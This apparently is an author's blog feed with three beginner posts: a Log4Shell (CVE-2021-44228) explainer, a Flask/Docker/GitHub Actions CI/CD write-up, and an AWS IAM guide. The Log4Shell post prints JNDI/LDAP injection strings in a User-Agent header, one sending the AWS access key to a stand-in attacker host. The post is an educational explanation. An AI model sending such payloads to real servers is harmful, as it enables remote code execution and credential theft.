DEV Community: Binamra Pandey

How Log4Shell Works: Breaking Down CVE-2021-44228

Binamra Pandey — Thu, 17 Sep 2026 16:19:42 +0000

INTRODUCTION

Log4jShell is a software vulnerability in Apache Log4j 2 which is a popular java library used for logging events in java-based applications also known by its CVE identifier as CVE-2021-44228 had sent shockwaves in the field of cybersecurity. This vulnerability is also known as the single biggest, most critical vulnerability of the last decade. This vulnerability allowed an attacker to execute remote code on the server and gain Remote Code Execution (RCE) in the affected web servers and remote systems. (Berger, 2023)

Log4jShell was first discovered in 24 November 2021 by the cybersecurity researcher named Chen Zhaojun of the Alibaba Cloud Security Team. At the beginning, Alibaba Cloud Security Team discovered this vulnerability in on servers that have hosted the Minecraft game on December 9th of 2021. Chen Zhaojun and other team members of Alibaba cloud security team has hinted that this severe vulnerability was being exploited by black hat hackers even before of its discovery making this a zero day vulnerability.

This vulnerability took its flight after this was made public on Twitter in 9th December of 2021. After it’s publication it took world of cyber security by storm and soon it was known as the most critical vulnerability of the decade.

OVERVIEW OF LOG4J

Apache log4j is a java based open source library used for logging data and information in the java based application. This was initially released in October 1999 and Log4j 2 which is the affected version from log4jShell was released in 2014. This library was quite popular because of it’s unique and effective features that was provided by Apache.

The main reason Log4J gained popularity was because of it’s features which were absent in other logging based library. Some of them are mentioned below.

New Plugin system
Support for JSON based configuration
Lookups These are some of the features which made Log4J popular library for logging amongst Java developers.

IMPORTANCE OF LOGGING

Logging is the one of the most important parts in any organization. A good logging system helps an organization in many beneficial ways. The main reason most organization do logging is to track errors in the system or do incident tracking. The other reasons to do logging may also include writing logged report to files and databased without an active console.

LOG4JSHELL

As we have already mentioned, Log4Jshell is a security vulnerability in Java logging related library known as Log4J. This vulnerability affected many reputed organizations like Cloudflare, Apple(iCloud), Minecraft, Tencent, Twitter and many more. This vulnerability enabled an attacker to gain remote access of the server by executing java code in the vulnerable server. This vulnerability affected Log4J version 2.14.1 and below.

DEEP DIVE ON OCCURRENCE OF LOG4JSHELL

The root cause of this vulnerability, Log4jShell raised from one the most used feature of Log4J. This feature was, Lookups, this feature allowed users or server owner easy way to add values to the log4J configuration at arbitrary places or the location which was not easily
editable by the user. (Goers, n.d.) There are many types of lookups in log4j. Context map lookup, Date lookup, Environment
lookup, java lookup and JNDI lookups are few of them. The lookup from which vulnerability raised was JNDI lookups.

Java Naming and Directory Interface also known as JNDI is a one of the lookups for Log4J library. JNDI provides an API for application to interact with remote objects registered with
RMI registry or directory server like LDAP. This allowed developers to use a consistent interface to perform naming and directory operation, irrespective of the underlying directory service. The use of Lightweight Directory Access Protocol also known as LDAP with JNDI lookups was the root and underlying flaw of Log4Jshell vulnerability. The LDAP is an open standard application protocol for accessing and maintaining distributed directory information services. LDAP is also a kind of database itself. This protocol was used to exploit Log4Jshell vulnerability widely.

THE VULNERABILITY

To exploit this vulnerability, first attacker needs to find the response or request which was being logged by the organization. Then attackers need to find what part of the request or response was being logged. In the majority case, User-Agent header of the request was being logged by the server. So, attacker just needed to use his vulnerable payload instead of original value of User-Agent. Then payload would have been sent to server to be logged but since it is modified value of User-Agent which is mostly likely be command related to Log4J and instead of just blocking it by the server, it was executing this payload which caused all this problem.

*Normal User-Agent header looks like this *

User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>)<extensions>

*Modified User-Agent header to exploit Log4Jshell vulnerability *

User-Agent:- ${jndi:ldap://attack.server.url/?s=${env:AWS_ACCESS_KEY_ID}}

And when this modified user agent reached the server instead of getting it blocked it was executing at the time of logging.

Image source: https://tech-blog.cymetrics.io/en/posts/huli/log4j-and-log4shell/

We can understand working mechanism of Log4Jshell vulnerability more precisely with the help of this image. Here in the image

User-Agent is being logged, so attacker submitted the malicious JNDI header instead of original string of User-Agent
User-Agent: ${jndi:ldap://evil.xa/x}
Now that malicious string is passed to log4j for logging
Now, since it is vulnerable to log4jshell vulnerability, it will query the malicious ldap server and fetches the object form them.

This is how log4jshell is exploited. Now instead of fetching object from server attack can also send reverse shell code to gain remote access of the server which will lead to Remote Code Execution also known as RCE.

What I Learned Setting Up My First CI/CD Pipeline (Docker + GitHub Actions)

Binamra Pandey — Wed, 02 Sep 2026 13:48:42 +0000

This was a simplest pipeline which I could think of for practicing Docker and Github Action pipeline.

Why I Built This

I have been learning the working of devops recently. So, I wanted to build something to practice what I have learned so far. So I thought of building this simple workflow.

This is the basic flow of the pipeline.
P.S: Don't mind my diagram, I am learning to draw those too.

The Project

The app itself is a tiny Flask API with two routes, / and /health. That's it. I kept it deliberately simple because the app was never the point of this project. The pipeline was.
If I'd built something complex, I'd have spent most of my time debugging application logic instead of learning how GitHub Actions actually works. A "Hello World" endpoint gives you something real to test, build, and deploy, without getting in the way.

flask-cicd-demo/
├── .github/
│   └── workflows/
│       └── ci-cd.yml
├── src/
│   ├── app.py
│   └── requirements.txt
├── tests/
│   └── test_app.py
├── dockerfiles/
│   └── python.dockerfile
├── docker-compose.yml
├── .dockerignore
└── .gitignore

P.S: I used docker-compose here even though it wasn't multi-container because I just wanted to practice that too.

Stage 1: Running tests in CI

The idea here was simple: one job, triggered on push, that checks out the code, installs dependencies, and runs pytest. Nothing else yet. I wanted this piece working before touching Docker at all.

jobs:
  test_job:
    runs-on: ubuntu-latest
    steps:
      - name: checkout code
        uses: actions/checkout@v4
      - name: setup python
        uses: actions/setup-python@v4
        with:
          python-version: 3.11
      - name: install dependencies
        run: |
          cd src && pip install -r requirements.txt
          cd ..
      - name: run tests
        run: |
          PYTHONPATH=src pytest tests/

When I ran the first time, I got straight error.

This was my simple mistake as I didn't add pytest module in the requirments.txt file. Adding it, fixed the issue.

Now, while running it for the second time, I hit the wall again. My workflow return with error, No module name app.

My test_app.py imports the app like this:

from app import app

Which is fine locally if you're running things from inside src/. But app.py actually lives in src/, not the repo root, and pytest runs from the root by default. So Python had no idea where to look. The fix was adding PYTHONPATH=src before the pytest command, which just tells Python "also check inside src/ when you're resolving imports."

Now after this, I finally got my test_job flow to work.

Stage 2: Building the Docker Image in CI

With tests running, the next piece was getting the pipeline to actually build the Docker image. My Dockerfile lives at dockerfiles/python.dockerfile, not at the project root, and it copies files in like this:

COPY src/requirements.txt /app
COPY src/ /app

Since I was building through docker-compose.yml, I had to get the build context right. My first attempt looked like this:

build:
  context: ./dockerfiles
  dockerfile: python.dockerfile

That failed. The build context only included the dockerfiles/ folder, so src/ was invisible to it, and COPY src/requirements.txt /app had nothing to find.

The fix was keeping the context at the project root, and pointing dockerfile: at where the file actually sits, relative to that root:

build:
  context: .
  dockerfile: dockerfiles/python.dockerfile

Context and Dockerfile path are two separate things, and it's easy to mix them up if your Dockerfile isn't sitting in the default spot. So after this I finally got the docker working too.

Stage 3: Job Artifacts

This was the part I actually wanted to practice going into this project.

Artifacts are basically files a job produces that you want to keep after the job finishes. Once a runner's done, its filesystem is gone, so if you don't save something explicitly, it's just gone with it. actions/upload-artifact handles that, you give it a name and a path, and it gets attached to the run, downloadable from the Actions summary, or pulled by another job later with actions/download-artifact.

First artifact: a coverage report.

I added pytest-cov to requirements.txt, generated a coverage file when tests ran, and uploaded it so I could grab it from the Actions run summary:

- name: run tests
  run: |
    PYTHONPATH=src pytest tests/ --cov=src --cov-report=xml
- name: Upload Job Artifacts
  uses: actions/upload-artifact@v4
  with:
    name: test-results
    path: coverage.xml

First run threw a error.

I'd added the flag before actually installing the plugin. Pytest doesn't know --cov exists unless pytest-cov is there. Added it to requirements.txt, ran again, fixed.

Second artifact: the built Docker image itself.

This one's more interesting, it's not just a report to look at, it's something a later job actually uses instead of rebuilding from scratch:

- name: save docker image
  run: |
    docker save -o flaskapp.tar flaskapp:latest
- name: Upload Job Artifacts
  uses: actions/upload-artifact@v4
  with:
    name: docker-image
    path: flaskapp.tar

This one broke immediately:

Turns out docker compose build doesn't tag the image as flaskapp:latest by default. Compose names it -:latest unless you tell it otherwise. I had no idea that was the default until I hit this.
Fix was adding an explicit image: key to docker-compose.yml:

services:
  flaskapp:
    image: flaskapp:latest
    build:
      context: .
      dockerfile: dockerfiles/python.dockerfile

After that, I was able to save the docker image file too.

Stage 4: Deploying via a Self-Hosted Runner

For the last piece, I wanted the pipeline to actually deploy somewhere real instead of just building and stopping. I set up a self-hosted runner on my own machine for this.

deploy_job:
  needs: build_job
  runs-on: self-hosted
  steps:
    - name: Download Job Artifacts
      uses: actions/download-artifact@v4
      with:
        name: docker-image
        path: .
    - name: load docker image
      run: |
        docker load -i flaskapp.tar
    - name: run docker container
      run: |
        docker stop flaskapp || true
        docker rm flaskapp || true
        docker run -d -p 5000:5000 --name flaskapp flaskapp

Hit two separate issues getting here.

The first one was with the download step. I had path: flaskapp.tar under it, since that's the file I actually wanted back. Made sense to me at the time. But path: for download-artifact isn't a filename, it's a directory you're downloading into. So instead of getting my .tar file back, it tried creating a folder called flaskapp.tar. Next step, docker load -i flaskapp.tar, obviously had no idea what to do with a folder. Fixed it by setting path: ., which just downloads the artifact into the current working directory, where the file actually shows up as flaskapp.tar like I expected in the first place.

Second issue showed up only on the second deploy, not the first, which threw me off for a bit. docker run -d -p 5000:5000 --name flaskapp flaskapp worked fine the first time. Ran the pipeline again, and it failed, complaining that a container named flaskapp already existed. Which, fair, it did, the one from the last deploy was still sitting there running. I hadn't thought about that at all while writing the step. Fix was stopping and removing the old container before starting the new one.

Wrapping Up

That's the full pipeline, test, build, two kinds of artifacts, deploy, all wired together and actually working end to end on my own machine.

I learned a lot from this project. I learned things like how github actions works, different actions like upload and download artifacts. Moreover, I had no idea I can save docker image file in tar. I still have many stuff to learn and will be updating/tinkering with this small project.

Thank you for reading.

P.S: If you have any ideas on how I can improve this pipeline in a way that helps me learn more, please let me know.

Project Github: https://github.com/binamra-linux/simple-workflow

AWS IAM Explained: Users, Groups, and Roles

Binamra Pandey — Sun, 30 Aug 2026 15:13:40 +0000

What is IAM Users and Groups?

First, let's understand what IAM is in AWS. IAM stands for Identity and Access Management, and it is a service in AWS that lets us control who can access what kind of resources in our AWS account.

Now that we know what IAM is, let's talk about Users and Groups.

An IAM User is an identity you create for a person or application that needs to interact with your AWS account. Each user gets their own credentials, so you know exactly who did what.

An IAM Group is simply a collection of users. Instead of assigning permissions to each user one by one, you can put users into a group and assign permissions to the group. Every user in that group automatically gets those permissions.

For example, if you have five developers who all need the same access to S3, you don't attach the policy five times. You create a "Developers" group, attach the policy once, and add all five users to it.

Why is IAM necessary

Without IAM, anyone with access to your AWS account would have full control over everything in it. If you want to share your aws account or have another user for different purposes you don't have share your root user account instead, you can create a completely new users for specific purpose and attached that user with required permission to perform that specific task only.

Creating a IAM user

To create a IAM user for your aws, login to your (root) account. And Search for IAM in the search bar.

After that where you are inside IAM dashboard, click on IAM users and when IAM users page loads successfully, click on Create User

After you click on create user, you'll be asked to enter some information regarding this new user.

Afer that, you'll be asked to set permission for the new user. Here, you'll have 3 options. You can either attach your this newly created IAM user to the group or copy all the permission from another user. Or you can also set inline attach policy directly to the user.

P.S: An inline policy is a policy that's embedded directly into a single IAM user, group, or role, rather than existing as a separate, standalone policy.

When you set permission for this user, you'll be asked to review them and finally you can create the IAM user.

This is how you can create IAM user.

Creating IAM group

Now, to create a IAM group, from the IAM dashboard click on IAM users group. Type the name of your group and attach the required permission policies

After that, click on create group button, it'll create that group for you.

You can assign multiple users to single groups depending on the required permission.

IAM Roles for services

An IAM Role is similar to an IAM user in the sense that it's an identity with permissions attached to it, but it doesn't have permanent credentials like a username and password. Instead, a role is assumed temporarily by whoever or whatever needs it, and AWS hands out short term credentials that expire automatically.

This is mainly used when a service, like EC2 or Lambda, needs to access other resources in your aws account.

For example, say you have an EC2 instance running an application that needs to read files from an S3 bucket. You could create an IAM user, generate access keys and hardcode them into your application, but this isn't a good practice since those keys don't expire and if your instance ever gets compromised, the attacker gets those same keys too.

Instead, you attach an IAM Role to the EC2 instance. AWS automatically gives temporary credentials to the instance, your application uses them to access S3, and there's no key that you need to manage or rotate. Once the instance is terminated, that access goes away with it.